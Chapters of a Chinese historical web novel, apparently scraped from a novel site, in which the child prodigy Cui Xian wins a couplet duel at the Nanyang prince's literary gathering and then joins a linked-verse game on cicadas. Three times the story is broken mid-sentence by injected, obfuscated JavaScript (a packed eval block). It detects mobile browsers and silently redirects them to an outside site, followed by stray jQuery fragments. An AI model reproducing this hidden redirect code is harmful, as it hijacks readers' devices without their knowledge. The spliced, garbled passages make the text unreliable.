家崔岘讲话半点不客气。 被当众戳破心思黄伦脸上浮现出恼羞但却强行维持着体面假假道:“文会还未开始你我堵在门口闹上这么一出若惹来王爷、钦差大人和东莱先生不快……” 崔岘一甩袖袍爽朗笑道:“好说。今日我先喊话于你一切责任皆在我。” 听到这话无数人纷纷叫好。 且不管这场比试谁输谁赢。 单看小神童这光明磊落之姿态便尽显文人风骨! 见崔岘主动揽过责任黄伦心中松了口气又道:“你既这般说那我也就不客气了。说吧如何比试?届时输了如何赢了又如何?” 崔岘摊了摊手:“都听你的我崔岘今日奉陪到底!” 豁! 这话可真是简单利索半点不含糊! 但其实文人比试也无非就那几种方式。 黄伦好歹是个秀才比崔岘大了足足9岁要是跟人家比辩经策论那就有些招笑。 可崔岘以写诗名动天下黄伦显然是不敢比的。 除以上之外就剩下猜字谜、对对子、飞花令、改字令、曲水流觞、联句诗等。 最后。 黄伦目光一闪道:“我出上联你对下联输者不得参加这次文会如何?” 听到对对联大家并不觉得意外。 因为这是最短平快较高低的比试方式也完美契合文会主题。 崔岘闻言一扬下巴:“你且放心 人群再次哄笑。 裴坚、庄瑾等人更是眼冒小星星大声高呼‘小神童好生霸气威武’! 数次被崔岘呛声黄伦也恼了。 他冷笑一声得意道:“那你且听好了我这上联是:雪里白梅雪映白梅梅映雪!” 嘶。 听到这副上联周围霎时间安静下来并响起一些读书人倒抽冷气的声音。 一上来就这般霸道的吗? 因为这是个回文叠字联雪与白梅是反复出现的。 但现在并非寒冬腊月无雪更无梅。 黄伦这厮显然是有备而来。故意提前做好上联等着来坑小神 童呢! 众人齐齐看向崔岘。 裴坚等人眼睛里更是浮现出担忧,生怕岘弟对不上来。 听完这上联,崔岘四下张望。 便见南阳王府院墙极高,但仍旧有一簇簇茂密丛竹探出墙来,随风摇曳。 崔岘眼睛亮起来,脱口而出:“风中绿竹,风翻绿竹竹翻风!” 人群静默了一瞬。 而后响起无数道惊艳的叫好声! 相比于黄伦那不知道准备了多久的上联,小神童下联就地取材,答得工整应景。 堪称完美。 此下联一出,周遭读书人便懂了,人家这小神童之名,绝非虚的啊! 黄伦眼睛里浮现出一抹震惊。 这个对联,他吭哧吭哧准备了许久。 自己都想不到完美的下联,结果却被崔岘轻松接出来了! 今日有这么多人围观,黄伦一是为踩着崔岘扬名,二是想借机自荐拜师东莱先生。 他绝对不能输! 想到这里。 黄伦稳住心神,看向崔岘,眼睛里浮现出些许恶意:“好,那我再出上联。” “上钩为老,下钩为考,老考童生,童生考到老!” 此对联一出,许多人脸上浮现出不齿的表情。 因为这看似是在出对联,实则里面藏着满满的恶意,诅咒人家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088377|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小神童‘童生考到老’呢。 甚至人群中很多‘老童生’脸色都有些挂不住。 崔岘眉头也蹙起来。 比试就比试,大家光明磊落的来,何必搞这般绵里藏针的作态。 尽显小家子气! 他正欲作答。 数道高唱声先后响起。 “钦差大臣到!” “东莱先生到!” “河南布政使李大人到!” “知府大人到!” “县令大人到!” 接着。 南阳王府大门轰然打开,南阳王亲自出来迎接。 听到这些唱名声,众人一片震惊瞠目。 这不是一场文会吗?怎地连河南布政使李端大人都来了! 顿时,无数读书人纷纷向一众大佬行礼。 李端、东莱先生并未吭声,只是笑呵呵看向正在比试的黄伦、崔岘。 黄伦大喜。 他觉得两位大佬看向自己的目光中,带着浓浓的喜爱与赞叹! 南阳王作为今日文会的主家,同样没有率先开口。 因为今日排在第一位的,是钦差齐大人。 天官奉命离京,可视为代天巡视! 但齐大人哪里敢在东莱、李端二位师叔大佬面前拿乔,因此非常懂事的笑道:“诸位不用多礼,本官和诸位大人们,今日微服前来,你我皆是读书人。” “听说有两位才子正在比试,刚好我和诸位大人们,也想来凑个热闹。你们继续,你们继续,哈哈。” 黄伦高兴到疯了。 因为他觉得,钦差大人看向自己的目光,同样亲厚慈爱,甚至还特地强调自己是‘才子’。 天呐,发达了! 今日来这南阳文会,找崔岘做垫脚石,可真是来对了! 心中激动异常,黄伦矜持的向数位大佬点头致意,而后得意看向崔岘:“小神童,我这上联,你可答得上来?若是答不上来,那便趁早认——” 他话没说完。 便见崔岘哂笑一声:“一人是大,二人是天,天大人情,人情大过天!” 相比于黄伦那暗戳戳带着恶意的上联。 小神童这个下联,一下子便把立意拔高,不仅对仗工整,而且尽显磅礴大气! 人群霎时间一片惊艳叫好。 “好!” “好一个天大人情,人情大过天!” “不愧是小神童!” 将在场围观群众的夸赞笑纳全收,崔岘不卑不亢站在原地,笑看向黄伦:“你且继续。” 短短四个字,还真颇有横刀立马,欲斩千军之势! 无数人为之惊艳,想来今日过后,小神童之风姿,定当传唱各方。 东莱先生在一旁看的双眼放光,简直快要被迷**! ? 87、文会之天下目光聚南阳(五) 崔岘一句‘你且继续’,把黄伦架起来了。 因为按照对对联的规矩,是比试双方轮流出上联。 毕竟先出上联者,肯定占尽便宜。 如今黄伦连出两个上联,都被崔岘对出下联。 其实已经隐隐落了下乘。 他若是再厚着脸皮出第三个上联,那就算赢了,也会叫人不齿。 因此。 黄伦深吸一口气,尽量让自己显得大度些:“你来出上联吧。 围观众人目露嘲讽。 一个是真磊落,一个是假坦荡。 谁更胜一筹,一目了然。 裴坚甚至毫不客气的在人群中大喊道:“虚伪!你已经连出两个上联了! 庄瑾等人跟着起哄附和。 大哥们虽然没文化,但很懂‘场外喊垃圾话’干扰敌方心态。 果然。 他们几人这番话,让黄伦尴尬到脸色涨红。 崔岘也不喜欢黄伦这般心术不正之人。 因此,听到对方让自己出上联。 他也不再客气,盯着对方哂笑一声:“好,那你来对吧。我这上联是:“四口同图,内口皆归外口管。 黄伦脸色剧变。 这里的图,需要换做圖。 同一个意思,同一个发音,但拆开来,就成了‘四口同圖’。 听完小神童这个上联,周围很多人都瞪大眼睛。 因为这是个一语双关的拆字联! 好家伙,本以为方才黄伦的上联,已经足够难了。 如今小神童这上联,出的则是更加刁钻。 在场很多读书人都陷入沉默,苦苦思索。 裴坚也在其中,佯装思考状,不敢说自己其实连上联什么意思都没听懂。 一片安静中。 东莱先生在听完崔岘的上联后,哈哈笑出声来。 众人神情茫然。 片刻后。 李端、钦差齐大人、知府大人、叶县令等人,在听到东莱先生的笑声,先后露出恍然大悟的表情。 于是也纷纷跟着笑。 他们都是正儿八经的 两榜进士出身学问自然不凡。 作为主家的南阳王其实想问问他们为何发笑但又没好意思问。 只是众人都不傻。 见一群大佬都在笑便明白缘由肯定藏在小神童这上联里。 但究竟该如何对呢? 一帮读书人苦思冥想良久终究是答不上来。 可他们并不着急因为现在最着急的是黄伦啊! 这么一个刁钻的上联黄伦本就答不上来。 刚才被裴坚等人搞了心态现在又不知东莱先生等人为何发笑站在人群最中间的他脸色涨红急的汗水都不停往下淌。 可急归急答不上来就是答不上来啊! 他17岁中秀才自诩才气无双这些年一直很是猖狂。 本以为可以在文会上借着崔岘扬名。 万万没想到当众被一八岁稚童给教训了! 苦苦思索良久耳边尽是‘认输吧’的叫喊声黄伦嘴唇颤抖数次准备开口。 此时。 却见东莱先生笑呵呵道:“谁来帮忙给这黄姓小少年递把伞天热莫要晒着。” 哗! 众人震惊。 这是在比试啊 但老先生德高望重没人敢开口质疑有位带伞的读书人上前把伞递给黄伦。 黄伦晕晕乎乎接过来表情欣喜如梦似幻。 东莱先生竟然替我说话了还让人给我递伞! 他老人家一定是相中我了! 难道他想收我为徒? 巨大的惊喜将黄伦淹没甚至冲淡了方才想要认输的不甘与羞耻。黄伦激动的握着伞—— 等等伞! 这个字可换做同音字傘! 东莱先生这是在给我暗示啊。 他果然相中我了哈哈哈! 黄伦心神一震猛然反应过来几乎没过脑子激动大声脱口而出:“五人共伞小人全仗大人遮!” 等他反应过来自己说了什么以后整个人如遭雷击险些没有羞愤到晕死过去。 人群有那么一瞬间的沉默。 而后。 不知道是谁最开始笑的,整条长街的读书人,都跟着哄笑出声。 太好玩了! 此人莫不是傻了,自比小人,将崔岘唤作‘大人’。 而用这下联推上联,众人总算懂方才东莱先生为何发笑,又为何给黄伦递伞。 因为对对联一开始,崔岘说了一句话:今日纵使你输了,我也同意你进去。 所以他才出了这样一个上联:四口同图,内口皆归外口管。 你黄伦今日能不能进入这王府参加文会,由我崔岘管控,我来说了算。 而这上联一出来的时候,小神童自己就替黄伦想好了下联。 这也是东莱先生为何发笑的原因。 可惜,黄伦太笨,没对出来。 东莱先生索性出面,给他递了一把伞作暗示。 于是黄伦脱口而出,对上了。 可正是对上了,才能说明他输了,甚至比没对上更丢人。 五人共伞,小人全仗大人遮。 他可能没有这个意思。 但接了崔岘的上联,就被人家按头强行曲解意思,变成了:小人今日能不能进这个王府,全靠大人您一句话,求求大人开恩吧! 经过解释,越来越多人听懂了这两个对联的含义,纷纷捧腹大笑。 但笑过后,众人看向崔岘的目光里,尽是惊叹佩服。 这得是多敏捷的才思,才能把对联玩的如此出神入化。 相比于刚才黄伦那句‘童生考到老’,小神童的反击,既不尖锐也不刻薄,反而雅到了极致。 因为人家可什么都没说。 是你黄伦自己,自比‘小人’的! 更让无数人侧目惊叹的是,崔岘,他才八岁啊! “好! “小神童之名,实在名不虚传,我等佩服! 甚至连南阳王在明白这对联的含义后,也笑着看向崔岘,赞叹道:“好啊!才思敏捷,磊落端庄,不愧是陛下赞扬的小神童。 “我南阳有此神童,实在是南阳之幸! 说罢。 南阳王竟将崔岘奉为座上宾,客气道:“崔公子,请。 众人看得瞠 目结舌。 南阳王虽无实权可对一稚童是不是太过客气了些? 唯有东莱先生和李端看着这一幕笑而不语。 他们一副其乐融融的姿态崔岘更是被当做贵宾引荐入王府。 徒留黄伦站在原地脸色一会儿发红一会儿发黑恨不得找个地缝钻进去。 因为今日这一局他输得彻彻底底! 在众人的奚落声中黄伦再也忍不住以袖掩面灰溜溜离开。 想来过不了多久这场别致雅趣的对对子比试便会传开。 而试图拿小神童做垫脚石的黄伦倒成了给人家小神童垫脚的那个! 另一边。 崔岘跟随南阳王东莱、李端等一众大佬进入南阳王府。 虽然这是个‘县城王府’但规格也比普通府宅要高太多。 内部雅致大气奢华连廊九曲山水亭榭都极为讲究 后面跟着进来的读书人们瞪直了眼纷纷发出没见过世面的惊叹。 而今日文会的主桌就摆在王府莲池的亭榭之中。 单看环境那当真雅致之极最适合办文会。 除了环境今日参加文会的主角可是大梁名儒东莱先生。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088378|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫不夸张的说。 在南阳这个小地方往前推三十年再往后推三十年都不可能再举办一场比今日更加隆重的文会了。 南阳王承接这场文会显然是为了图个雅名。 因为今日这场文会肯定是会被记录在南阳县志里以供后人翻阅的。 所以南阳王想玩一把大的。 来到莲池旁边南阳王并未第一时间请一众贵客去亭榭中落座而是道:“本王早就听说我大梁文人墨客在文会上各显身手舞文弄字的风采。实在好生向往可惜一直无缘见识。” “今日本王作为主家想请诸位来参加一场游戏。” “诸位看到那亭榭了吗里面准备了最名贵的酒菜瓜果供你们享用。本王自己厚着脸皮在里面讨个位置。除了本王之外你们其余人都可以自行选择是否要去里面落座。” 哗! 听到这番话众人都一片 哗然,而后两眼放光。 原本大家都默认,那亭子里是大佬们应该坐的位置,结果听王爷这意思,所有人都能落座? 可只要脑子够聪明的人,便能琢磨出来,南阳王这番话,肯定是有条件的。 果然。 南阳王说完后,突然笑着看向崔岘:“崔小公子,本王刚才那番话,看似大度。实则给在场诸人都出了个大难题。” “这难题是什么,本王先不说。他们年纪大了,好面子,万一想要推辞,又不好意思,搞得双方都很尴尬。” “但你文采过人,又年纪小,所以肯定并没有这个顾虑。这个游戏,我想先请你参加,只要你参加了,他们就抹不开面子拒绝,就都得参加了。” 不得不说,这位王爷说话倒是风趣幽默。 虽是邀请崔岘,但也给他留了拒绝的余地:你年纪小,没有顾虑,所以即使拒绝了也无碍。 众人纷纷看向崔岘。 崔岘含笑道:“那王爷能否说明白,这究竟是何游戏?” 在众人一片倒抽冷气的声音中,南阳王哈哈一笑,说道:“联句诗,怎么样,小神童要参加吗?” 竟然是联句诗! 自古以来,文会上最高端的游戏,绝对非联句诗莫属。 因为这个游戏的规则,是主家随机出一个主题。 而后,参与游戏的人,围绕着这个主题,每人轮流作出一句诗,最后组合起来,成为一首诗。 纵观前朝数百上千年,都没有几首像样的联句诗能流传下来。 因为这么多人坐在一起,学识良莠不齐,想法五花八门。 要在极短的时间内,扣题的同时,还得仓促接住上家作的诗句,随机应变顺下去。 到最后,成诗往往千奇百怪,意思混乱。 因此,除了那种大佬云集的盛世文会,能把联句诗玩出花样。小文会上,是不可能出现这种游戏的。 任谁都没想到,南阳王竟然出了个这般‘高端’的难题。 东莱、李端等人看向崔岘。 在场其余读书人,也都纷纷看向崔岘。 他年纪小,其实就算拒绝了,也没什么。 可话是这么说,大家心里还是隐隐有期待。 因为小神童就是以诗扬名天下的啊! 迎着众人打量的目光,崔岘并未答应或者拒绝,而是直接笑问道:“敢问王爷,今日这联句诗的主题,是什么?” 南阳王脸上的笑意越发灿烂:“莲池亭榭桌案之上,请君自行观看。” 于是。 崔岘朝着对方拱手,而后在无数震惊、欢呼、赞叹声中,第一个走进了亭榭。 他接下了这个游戏! 整个王府里的读书人们,纷纷双眼冒光,激动到难以自持。 一个联句诗的游戏,将这场本就声势浩大的南阳文会,彻底推上了最高峰! ? 88、文会之天下目光聚南阳(六) 王府莲池亭榭。 崔岘在众多读书人的振奋欢呼声中率先于里面落座。 正如南阳王所说 而酒菜最中间置放有一块木牌镌刻着今日联句诗的主题:听蝉。 如今正是夏末初秋的时候。 这个主题搭配此刻王府中缭绕的蝉鸣声倒很是应景。 崔岘看过木牌后心下稍安。 他并非孤傲猖狂之人很多时候并不会主动和人发生**。 但方才不管是‘指教’黄伦还是接下南阳王作联句诗的邀请都表现的比平日张扬些。 因为他做了东莱先生的弟子。 今日这就是他的主场。 他得表现的足够优秀好堵住各方质疑给老师长脸。 其次以后类似于‘黄伦’这样的人绝对会隔三差五找上门来同他叫板。 他这位仕林大儒的亲传弟子不张扬些如何震慑旁人? 我崔岘不惧任何人来讨教。 但也不是随便来个垃圾货色就有资格挑战我的。 独坐在亭榭内迎着各方打量。 崔岘脸色带笑神情轻松自信看的好多人心生佩服赞叹。 别的不说且看人家小神童这份气定神闲的姿态都不是一般人能比得上的。 毕竟亭榭里即将要玩的游戏可是联句诗啊! 见崔岘落座。 南阳王笑眯眯看向众人:“诸位请吧。” 李端和东莱先生哈哈对视一笑接着相伴走进亭榭。 东莱先生略作思索笑着和崔岘隔了一个座位坐下。 这是个很有意思的座次。 师徒二人相错而坐中间隔着一个人。 待会儿作诗的时候可以互不影响各自出彩。 李端则是坐在了崔岘的下方东莱先生的上方。 在坐下的一瞬间他低声尴尬道:“乖师侄师叔不擅作诗你待会儿记得让让师叔啊。” 崔岘知道他在同自己逗趣忍俊不禁:“好说好说。” 亭榭里是一张八人桌案如今已有三人落座。 除去南阳王一个位置,还得有四人入场。 钦差齐大人硬着头皮进去了,他坐在了东莱先生的下方。 今日东莱师叔收徒,这种开心场面,他得懂事一点,好好作陪。 齐大人一坐下,率先跟崔岘打招呼,热情的简直不像话:“崔小公子,赵志案最近已经查的差不多了。等下个月结案,你若是有空,且去赵宅看看。 这就是要借花献佛,把赵宅送给崔岘的意思了。 看来。 宋知府这个老油条,提前跟齐大人通了气。 再细思一番,齐大人是次辅阁老的徒孙,被安排来查与崔岘有关的赵志案,本就存有照拂崔岘的意思。 朝中有人好做官啊! 崔岘小声道:“多谢大人。 齐大人连连摆手,能跟崔岘攀上交情,他也是开心的很,否则今日哪有机会上桌? 但齐大人是钦差。 他都进来了,宋知府自然要懂事些,哆嗦着陪了一个。 于是,叶怀峰县令也得硬着头皮跟上。 宋知府坐在了钦差齐大人的下方,而叶怀峰坐在了宋知府的下方。 还差最后一个位置,始终没人敢进去。 人群顿时开始起哄。 裴坚见状,大声嚷嚷道:“祖父,爹,你们上啊!多好的机会,快上——呜呜呜—— 他话没说完,被亲爹裴开泰一把捂住。 坑爹玩意儿! 这种人均两榜进士的高端局,他一个举人,怎么敢上啊? 上去丢人现眼的吗? 庄瑾则是起哄吴清澜:“吴夫子,你上——呜呜—— 吴清澜眼疾手快捂住庄瑾的嘴巴,低声威胁道:“再敢胡说一句,回去扣十分。 庄瑾吓得紧紧闭上嘴。 但因为裴坚这一嗓子,把裴家两位举人架起来了,因为在场就他们两位举人。 最后没法子。 裴家祖父裴崇青恶狠狠瞪了一眼孙子裴坚,抱着老脸丢光的心态,咬牙走了进去。 他坐在了叶怀峰的下方。 而再往下,是南阳王,再接着是崔岘,刚好坐满一个圆桌。 游戏可以开始了! 王府内。 氛围轰然变得振奋起来。 大家各自找地方落座,没有心思玩游戏,目光都紧紧盯着亭榭里。 或振奋、或期待、或……不怀好意。 因为这种高端局里,作诗作的好,自然有人会帮忙传颂。 可你要作的不好…… 那就别怪现场一片嘘声哄笑,让你丢尽脸面了! 联句诗比对对联更加残酷。 对对联,你对不上,或者对的不好,也就那样。 可作诗的时候,上家作的一句诗,跟金子似的灿烂。到你接下句,宛如狗粪,岂不贻笑大方? 所以现在这个局面就很有趣。 外面围观的一群人,水平不咋地,倒成了乐子人。 里面明明一群大佬,此刻却个个神情紧绷,内心惴惴难安。 南阳王在崔岘上方坐下,笑道:“想必诸位都已经看过今日联句诗的主题,本王不才,自己作了第一句。 “规矩只有一条,以一盏茶时间为限,接不上视为认输。 “诸位各自掷骰子,从数字最小者开始,如何? 骰子这玩意儿,从三国时期已经发明了,最初似乎是用来做占卜的。 后来上了酒桌,便一发不可收拾,代代相传延续至今。 众人自然应允,先后开始掷骰子。 宋知府手气最差,掷出了‘一’点。 但他却很是高兴,因为最先开始,代表着难度最低。 南阳王念出了自己作的第一句诗:“高树多凉吹。 不出众人所料,这第一句平平无奇,意思便是:高大的树木在风中摇摆,凉风阵阵穿梭而过。 但因为是王爷作的诗,也没人敢笑话。 重头戏在后面呢! 一时间,所有人都看向了宋知府。 宋知府轻咳一声,战略性端起茶盏。看似老神在道,实则端着茶盏的手已经微微颤抖。 死脑子,快想啊!! 他这一句,其实也很重要,因为要给本首诗定音调。 而且最好还得点明一下主题。 毕竟南阳王的第一句 诗,并无提到蝉鸣,但却把场景置放在了树木上,这样想倒也有几分雅趣在。 宋知府脑子转的飞快,却始终想不出来合适的,急的他猛喝一口茶水。 不曾想茶水太热,烫的他一个激灵。 但他凭借着毅力,愣是把热茶面不改色的咽下去,这才没有闹出笑话。 最后因为被烫精神了,还真让他给想出来一句,强笑着说道:“有了,我接:疏蝉足断声!” 这句同样比较一般。 意思是蝉鸣声断断续续的传来。 但好歹点了题,而且是第二句,虽说浅显直白了些,但也并未显得过于突兀。 所以众人没有表示质疑。 宋知府心知这一关过了,坐着默默擦拭额头上的汗水。 他下方是叶怀峰。 叶县令大概是‘刚毕业不久’的原因,脑子里知识还没忘光。 故意适时停顿半盏茶功夫,给上官留足面子,这才装模作样苦笑一声,道:“下官不才,接一句:已催居客感。” 这句还不错。 意思是,阵阵蝉鸣声,让客居于此的人,有了伤感的愁绪。 诗句从这里,算是渐入佳境。 从表面言物,到开始初步言情。 压力给到了下方的裴崇青。 外面裴坚开始喊话:“祖父,你快接啊!” 裴崇青:“……” 且看回家后,老夫不把你这倒霉孩子给打死! 但那是回家以后的事情,现在裴崇青除非把自己打死,否则就得接诗。 他也开始战略性喝茶。 可喝茶也想不出来,最后实在没辙,在一片嘘声中站起来,声称自己要找找灵感。 外面的嘘声越发大了起来。 当然嘘声最大的肯定是裴坚,他好像生怕自己能活的过今晚似的。 眼看一盏茶工夫就要到了。 裴崇青卡着时间,硬着头皮赧然接了一句:“更始旁人惊。” 这……大概意思是,让旁人感到心惊? 说实话有些勉强。 把叶怀峰上一句‘已催居客感’刚刚带起来的小氛围,给冲歪了。 一 帮看热闹的文人们发出指指点点的嘲弄,半点也不给举人老爷留面子。 因为这是文会,技不如人,被嘲笑也只能受着。 甚至有人喊着这一句算裴崇青输了。 可这毕竟才第一轮,不好闹得太难堪。 作为主家的南阳王笑着道:“高树多凉吹,疏蝉足断声。已催居客感,更使旁人惊。 “看来,我王府的蝉鸣声实在恼人啊。既让人伤感,又让人心惊。 说完后。 南阳王笑眯眯看向崔岘:“崔小公子,到你了。 一时间,众人也都看向崔岘。 小神童崔岘,以《咏鹅》《悯农二首》在大梁王朝诗坛‘出道’。 一‘出道’便成为‘当红炸子鸡’,不仅诗传士林,还上达天听。 因此,大家都对他抱有期待。 或者说……抱有怀疑。 今日这场联句诗,作好了,小神童就能彻底坐稳神童之名。 可若是作不好,那接下来等待他的,怕是会有诸多质疑。 迎着众人神情各异的目光。 崔岘不慌不忙道:“王爷莫要多想,今日您好酒好菜招待。纵使蝉鸣声恼人,但我等坐在一起,开怀赴宴,旨在宾主尽欢,互诉情谊。 说完后。 他笑道:“我这一句,接:晚夏犹知急! 此句一出,桌上众人都眼睛一亮。 东莱先生更是夸赞道:“妙哉妙哉。 围观的文人们也都纷纷鼓掌叫好,眼睛里尽是惊艳。 裴坚、李鹤聿几人根本不知其所以然,但不妨碍他们把手都拍肿了,大声夸赞。 因为裴崇青上一句诗,把情绪冲掉了。 崔岘这一句,无法陡然拔高立意。 只能令改出路,将意境稳稳地往上托举,摒除掉伤感、心惊的元素,再来一个落得住跟脚的转折。 晚夏犹知急,意思是:夏末的蝉鸣声,依旧非常急促。 ‘犹’与‘急’二字,一改前诗之颓废、低落。 意思虽然简单。 可一下子就把整首诗给‘点’活了! 这首听蝉诗,从这里开始,瞬间灵动起来, 鲜活起来,开始有了‘生命感’和‘高级感’! “晚夏犹知急,当真好句!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088379|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不愧是能作出《悯农》的小神童,今日我等,也算是见识了什么叫做真正的天才!” 围观的文人们,咂摸着这句诗,越咂摸越觉得惊艳。 大家互相传颂,不出意外响起一片叫好赞叹。 南阳王眼睛亮起来,当场道:“好!好一个晚夏犹知急啊!本王建议,我们为此佳句,共饮一杯,可好?” 众人纷纷笑着举杯。 而后促狭的看向崔岘。 年幼的小男孩们肯定都有过这样的经历:你跟着一群爷爷、叔叔、伯伯、哥哥们,在一个酒桌上吃饭。 然后被他们不怀好意怂恿着,让你喝一口白酒,或者舔一下沾过白酒的筷子。 然后等你被辣的龇牙咧嘴,满桌人哈哈大笑。 这大概是成年人共有的恶趣味? 南阳王看着崔岘,笑道:“崔小公子,喝一个?” 崔岘推开手边的大杯,笑道:“换个小杯来。” 哦豁! 这便是要喝的意思了! 周围顿时响起更加热烈的欢呼声。 南阳王命仆从换来了一个小小杯,给崔岘稍微倒了一小口。 崔岘半点不怯场,举起酒杯:“这里岘最年幼,合该岘敬诸位前辈。” 说罢,一口饮尽。 古代以清酒居多,入喉并不算辛辣,但因为年幼,崔岘脸上霎时间便浮现出一层红晕。 红扑扑的,白里透红,越发显得俊俏。 众人看在眼里,当真叹服的很。 小神童不仅学识过人,而且胆识风采同样不凡,小小年纪,和这么多大佬坐在一起,半点也不怯场! 更妙的是。 他那一句‘晚夏犹知急’,还给下方的李端大人,留好了接诗思路。 因为小神童刚才跟南阳王谈话的时候暗示了:旨在宾主尽欢,互诉情谊。 果不其然。 放下杯盏后,李端嘿笑一声,立刻接道:“新秋别有情!” 晚夏犹知急,新秋别有情! 夏末的蝉鸣声,依旧非常急促,但初秋的蝉声 却别有一番情意在呢! 一下子这个意境就从恼人到欢快热络起来。 这一句诗让南阳王格外满意呲着大牙傻乐。 由此也能看得出来联句诗属实难作。 至少这酒桌上得有几个能随时控场的高人在时刻负责把上家泄掉的意境托起来保证这首诗能成功顺下去。 比如现在经过崔岘‘画龙点睛’把控李端跟上步伐平稳过渡这首听蝉诗算是初具雏形了。 那么接下来该如何往下推呢? 从恼人到有情确实是欢快了但总觉得似乎还差点什么意思? 差的是立意。 多人合作诗句句相拼接想要真的确定好一个明确的立意还是很难的。 压力来到李端下方的东莱先生身上。 但老先生博学多才自然不会被难倒笑呵呵道:“危湍和不似!” 不愧是天生师徒俩。 他们两人都抱有极强的控场心态且很有个人风格善于大胆用动词不仅要转换立意还要把诗盘活。 这一句的意思是:那蝉的鸣叫声不像是湍急的流水声那般急促。 看来东莱先生虽然什么都没说但对前面那几句其实是不满意的。 又是恼人、又是心惊的也属实不太行。 还好有崔岘托举了一把。 于是东莱先生趁势再次往上托举。 以湍急流水类比蝉鸣试图把整首诗的意境从宾主尽欢托举到更高的层面上去。 众人听到这句‘危湍和不似’纷纷叫好。 很明显这首诗开始上‘劲儿’了! 可这就苦了下方的钦差齐大人他能懂东莱师叔的意思也想接着这股劲儿往上冲。 但实力不允许啊! 因此在无数意味不明的嘘声中齐大人硬着头皮接了一句:“细管学难成。” 这意思是:蝉那纤细如乐管一般的声响我们很难学得来。 不是说这句不行。 好吧就是不行。 因为这才刚托举起来的劲儿一下子又掉了。 齐大人很是羞愧在一片嘘声中自罚了三杯。 东莱先生没说什么,但其实有点小不开心。 他并非小心眼之人,换做别的场合,别的游戏,肯定不会这样。 可自己刚起势,准备奋力往上冲,下家‘轰’的一下,把你这股气势全给卸掉了。 这谁能绷得住? 正当东莱先生不开心的时候,突然注意到,乖乖徒弟崔岘朝自己眨了眨眼。 于是东莱先生一下子就高兴了! 他读懂了乖乖徒弟的意思:老师莫要不开心,一会儿等这些小菜鸡都认输了,咱俩师徒互对,尽兴作一首诗出来! 东莱先生是真稀罕徒弟身上这股张扬自信的劲儿,跟他年轻时候简直一模一样。 因此,东莱先生打起精神。 心里却在想,今日联句诗一成,小徒弟怕是又要狠狠扬名一番。 刚好,上百家士林官场有头有脸的人家,都派遣了仆从来拜师宴送礼,此刻还尚未正式露面。 且等待会儿,我们师徒二人作完听蝉联句诗,艳惊四座。 再让这些人进来,高调为我家乖徒送上贺礼。 把这场收徒宴,办的风风光光,震撼全场! 届时,整个大梁士林官场的目光,都要聚焦南阳,聚焦在我家乖徒身上来! ? 89、文会之天下目光聚南阳(七) 钦差齐大人接了一句‘细管学难成’引来周遭一片嘘声。 但他这一句好歹算是过了。 问题是宋知府坐在钦差大人的下方。 钦差大人丢了颜面他哪敢表现自己? 莫说听蝉联句诗接到这里已经让宋知府压力倍增迷失了方向感不知该如何接。 就算他能接下一句也不敢接啊! 因此。 宋知府装模作样、思索良久最后面露苦笑:“看来我也得陪齐大人喝三杯咯。” 这便是要认输的意思。 他认输了小叶县令更不敢拿乔。 但他面皮薄终究是说不出‘陪大人喝三杯’这种腻歪话只赧然老实道:“下官才疏学浅实在没有头绪。” 压力又来到裴崇青身上。 老爷子神情似哭非哭看起来快要碎掉了。 这次连外面看热闹的裴坚都没再忍心起哄自家祖父。 因为上一轮联句诗就是在裴崇青这里泄掉气势的。 如今 那也就是说。 新的一句诗必须要把气势再次往上推甚至还得压过东莱先生那句‘危湍和不似’。 方能借力打力配合东莱先生把这首诗无限往上拔高。 这也是宋知府和叶县令主动认输的原因之一。 他俩哪有这本事啊? 对此裴崇青表示:这本事你俩都没有那我也没有。 裴老爷子默默给自己倒了三杯酒先后一饮而尽。 接着他看向崔岘赧然羞愧道:“岘哥儿看你的了。” 围观的读书人们一片失望哗然。 这才刚进入第二轮竟已有三个人认输了! 不过联句诗是轮转的这一轮认输下一轮还可以继续参加。 当然下一轮认输还要继续喝。 总之:要么肚子里装满墨水要么肚子里装满酒水。 大家都有美好的未来。 南阳王一看这个情况有点着急。 他是本次文会主办方既出钱又出力就为图个美 名。 哪能眼睁睁看着这场联句诗游戏彻底垮掉? 那岂不白忙活一场。 因此。 南阳王看向崔岘目露期待:“崔小公子方才你那句晚夏犹知急作的极妙。” “如今前面三家接连认输想来是准备保留实力蓄势待发。” “但小公子你年轻气盛合该崭露锋芒好生表现一番。所以本王的意思是——” 说到这里南阳王停顿片刻自己绷不住先笑了。 他笑着继续道:“所以本王的意思是说要不这一次小公子试着接两句?把咱们这首听蝉诗的意境和气势都拔高一截。” 这就有些不讲规矩了。 但换个思路游戏现在快要进行不下去南阳王这是在找崔岘救场呢! 